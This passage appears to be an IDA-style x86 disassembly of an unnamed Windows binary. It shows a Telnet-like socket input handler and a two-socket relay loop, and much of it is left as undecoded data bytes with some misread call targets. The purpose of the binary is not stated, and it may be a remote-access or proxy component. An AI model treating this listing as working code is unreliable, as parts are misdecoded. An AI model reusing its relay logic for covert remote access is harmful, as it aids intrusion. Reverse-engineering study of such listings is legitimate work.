		jb	short loc_4119F1


loc_411A1B:				; CODE XREF: sub_4119B7+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9354
		test	eax, eax
		jle	short loc_411A48
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_4119E0
; ---------------------------------------------------------------------------


loc_411A48:				; CODE XREF: sub_4119B7+2Dj
					; sub_4119B7+79j
		mov	esi, dword_42709C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411A64
		call	esi
		push	eax
		push	offset dword_434E7C
		call	sub_415D62
		pop	ecx
		pop	ecx


loc_411A64:				; CODE XREF: sub_4119B7+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A69	proc near		; DATA XREF: sub_411694+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411A82:				; CODE XREF: sub_411A69+39j
					; sub_411A69+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C931C
		test	eax, eax
		jle	loc_411B87
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AA4
		dec	[ebp+var_10]
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411AA4:				; CODE XREF: sub_411A69+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411B67
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B14
		cmp	al, 7Fh
		jz	short loc_411B14
		cmp	al, 3
		jnz	short loc_411ACF
		push	ebx
		push	ebx
		nop
		call	near ptr 27A007Bh
		jmp	short loc_411B3B
; ---------------------------------------------------------------------------


loc_411ACF:				; CODE XREF: sub_411A69+5Aj
		cmp	al, 15h
		jnz	short loc_411AF1
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B27
; ---------------------------------------------------------------------------


loc_411AF1:				; CODE XREF: sub_411A69+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B28
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B27
; ---------------------------------------------------------------------------


loc_411B14:				; CODE XREF: sub_411A69+52j
					; sub_411A69+56j
		cmp	esi, ebx
		jbe	short loc_411B3E
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B27:				; CODE XREF: sub_411A69+86j
					; sub_411A69+A9j
		pop	ecx


loc_411B28:				; CODE XREF: sub_411A69+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9354
		test	eax, eax
		jle	short loc_411B87


loc_411B3B:				; CODE XREF: sub_411A69+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B3E:				; CODE XREF: sub_411A69+ADj
		cmp	al, 0Dh
		jnz	loc_411A82
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_411B87
		xor	esi, esi
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B67:				; CODE XREF: sub_411A69+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411B78
		mov	[ebp+var_C], 1
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B78:				; CODE XREF: sub_411A69+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B87:				; CODE XREF: sub_411A69+2Bj
					; sub_411A69+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A69	endp

; ---------------------------------------------------------------------------
dword_411B8C	dd 81EC8B55h, 2D4ECh, 8458B00h,	6A575653h, 5BF08B10h, 0FF2CBD8Dh
					; DATA XREF: sub_401AC7+2BD4o
		dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h
		dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h
		dd 930415FFh, 66A004Ch,	66026A57h, 89EE4589h, 15FFF075h
		dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h
		dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h,	12185h
		dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h
		dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch
		dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h,	562075D0h
		dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h
		dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh
		dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h
		dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h
		dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h,	530000A3h
		dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh,	34C069C8h
		dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h,	8D500845h
		dd 0FFFF2C85h, 685056FFh, 411D91h, 0E8905656h, 226E8DDh
		dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h
		dd 850FD875h, 0FFFFFF63h, 10E8056Ah, 900226E8h,	0BAE8EDEBh
		dd 900226F0h, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h
		dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h
		dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h,	0CC48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh
		dd 2DE273E8h, 5E5F9002h, 0EC8B555Bh, 5D4EC81h, 458B0000h
		dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h
		dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh,	0B8890043h
		dd 0ACh, 68BDB33h, 5F845C7h, 89000000h,	0FFFA3085h, 0F8458DFFh
		dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch
		dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh,	75FF004Ch
		dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Dh,	0FFFB3085h
		dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h
		dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h,	0E1BEE853h
		dd 8090022Dh, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h
		dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh
		dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh
		dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh
		dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h
		dd 0E85359FFh, 22DE128h, 8D106A90h, 5053E845h, 9E2BE8h
		dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h,	0FFFB3485h
		dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h
		dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h
		dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h
		dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h
		dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h,	0FF36FF00h
		dd 4C939C15h, 875FF00h,	0FF9760E8h, 905359FFh, 2DE08FE8h
		dd 0E8458D02h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh
		dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h
		dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh
		dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h,	15FF36FFh
		dd 4C9354h, 15FF36FFh, 4C939Ch,	0E80875FFh, 0FFFF96F1h
		dd 0E8905359h, 22DE020h, 40068h, 38858D00h, 53FFFFFBh
		dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh
		dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh,	4C9354h
		dd 0E85736FFh, 39h, 0FF575959h,	4C939C15h, 0FF36FF00h
		dd 4C939C15h, 875FF00h,	0FF9694E8h, 0E85359FFh,	22DDFC4h
		dd 0FF36FF90h, 4C939C15h, 875FF00h, 0FF967CE8h,	905359FFh
		dd 2DDFABE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_41206B:				; CODE XREF: ___:0041211Aj
					; ___:0041214Aj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_412083:				; CODE XREF: ___:00412091j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_412093
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_412083


loc_412093:				; CODE XREF: ___:00412088j
		cmp	ecx, 1
		jnz	short loc_4120A8
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120A8:				; CODE XREF: ___:00412096j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4C92EC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4C91F0
		test	eax, eax
		jz	short loc_412108
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150


loc_412108:				; CODE XREF: ___:004120DAj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C91F0
		test	eax, eax
		jz	loc_41206B
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41206B


loc_412150:				; CODE XREF: ___:004120EFj
					; ___:00412106j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412155	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+20A0o
					; sub_40BD7C+106o
		dd 87CEC81h, 558B0000h,	57565308h, 0DB33016Ah, 0A9B958h
		dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h
		dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h
		dd 4C9384h, 0FE83F08Bh,	685675FFh, 190h, 26E372E8h, 9D399002h
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF94DDh, 90535959h, 2DDE0BE8h, 0F0458D02h, 0BF50046Ah
		dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh
		dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h,	0C069106Ah
		dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h
		dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h,	45896600h
		dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h
		dd 88681975h, 0E8000013h, 226E2ABh, 9C8DFF90h, 0FFFFFFFEh
		dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh,	0E8500042h
		dd 99F8h, 59C33B59h, 75FC4589h,	190684Ch, 78E80000h, 900226E2h
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh
		dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 90531CC4h
		dd 2DDD1BE8h, 87D8B02h,	2A09F39h, 840F0000h, 27Dh, 80BFh
		dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h
		dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h
		dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh
		dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh
		dd 0FFFA89BDh, 0F445C7FFh, 10h,	0AB66ABF3h, 0F4458DAAh
		dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h
		dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h
		dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh,	1AA85h
		dd 31BD8000h, 1FFFFFFh,	0A3850Fh, 858D0000h, 0FFFFFD94h
		dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh
		dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh
		dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh
		dd 9668h, 8D20C483h, 4589C44Dh,	4C083F8h, 51F475FFh, 858D5053h
		dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h
		dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh
		dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh
		dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h
		dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh
		dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h
		dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h
		dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh
		dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h,	50FFFFFAh
		dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h
		dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh
		dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h
		dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h,	858D14C4h
		dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h
		dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h,	4C936815h
		dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch
		dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h
		dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 2DDA5FE8h,	0E8689002h
		dd 90000003h, 26DF6EE8h, 0A2E85702h, 5FFFFFFBh,	0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41262A
		push	esi
		mov	esi, offset dword_435070


loc_4125D2:				; CODE XREF: ___:00412625j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412619
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_4363DC
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409862
		add	esp, 28h


loc_412619:				; CODE XREF: ___:004125DFj
		add	esi, 80h
		cmp	esi, offset dword_435C70
		jl	short loc_4125D2
		pop	esi
		jmp	short loc_412661
; ---------------------------------------------------------------------------


loc_41262A:				; CODE XREF: ___:004125CAj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409862
		add	esp, 24h


loc_412661:				; CODE XREF: ___:00412628j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_412665	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+736Bo
		dd 920EC81h, 458B0000h,	57565308h, 0F6E0A583h, 6A00FFFFh
		dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h
		dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h
		dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h
		dd 0BB004C92h, 200h, 0E890086Ah, 226DE53h, 928815FFh, 453B004Ch
		dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h
		dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh
		dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h
		dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh,	6468FFFFh
		dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h
		dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h
		dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h
		dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h
		dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h,	0C0850000h
		dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h
		dd 9B86h, 20858D00h, 50FFFFFDh,	0FB20858Dh, 6468FFFFh
		dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h
		dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h,	8D50B845h
		dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h
		dd 81000098h, 88ECh, 8D266A00h,	8D59B845h, 0FFFF20B5h
		dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh
		dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h
		dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h
		dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch
		dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h
		dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh,	0A015FF50h
		dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h
		dd 73E85000h, 81000097h, 8CECh,	0E0858D00h, 8DFFFFFAh
		dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh
		dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h
		dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah
		dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh
		dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch
		dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h,	7EFFFE83h
		dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh
		dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h
		dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh
		dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh
		dd 17EE900h, 84C70000h,	0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h
		dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h
		dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h,	8FB4h
		dd 1F05A480h, 0FFFFFDh,	136E959h, 0A1E80000h, 3D00008Fh
		dd 1B9h, 0FF397659h, 4C928815h,	0B84D8D00h, 50513C6Ah
		dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh,	6850FFFFh
		dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h
		dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh
		dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh
		dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h
		dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h
		dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh,	4363E4h
		dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h
		dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh
		dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah
		dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h
		dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh,	7402FE83h
		dd 4FE8305h, 75FF1A75h,	8B07EBFCh, 0C083FC45h, 858D5007h
		dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h,	0A4FC7D81h
		dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h,	0FFFFFFFBh
		dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0E1E89000h
		db 0D4h, 2Dh, 2
byte_412B1F	db 55h			; DATA XREF: sub_401AC7+4151o
		dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h
		dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h
		dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h
		dd 2E445C7h, 15FF5600h,	4C9304h, 0FF4CB5FFh, 8966FFFFh
		dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah
		dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh,	0FF5D75FCh
		dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h,	57E85000h
		dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh
		dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h
		dd 59FFFF8Ah, 0E8905659h, 22DD40Ch, 6AD0458Bh, 34C06910h
		dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h,	4C9330h
		dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh,	9868FFFFh
		dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh,	308DE8h
		dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh
		dd 2DD387E8h, 458D5602h, 565056E0h, 0F8458D56h,	6850046Ah
		dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h,	929815FFh
		dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h
		dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh
		dd 0FFFF89D5h, 0E8905659h, 22DD304h, 6480BB53h,	0FFBF0043h
		dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h
		dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch
		dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh
		dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h
		dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh
		dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h
		dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh
		dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h
		dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh
		dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h
		dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h
		dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h
		dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh
		dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh
		dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh,	2E6DE8h
		dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h,	59FFFF88h
		dd 65E89056h
		db 0D1h, 2Dh, 2

; =============== S U B	R O U T	I N E =======================================



sub_412E9B	proc near		; CODE XREF: sub_4131AA+213p
					; sub_4131AA+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CC074, eax
		mov	eax, offset dword_4CC074
		retn
sub_412E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EAA	proc near		; CODE XREF: sub_4131AA+2BFp

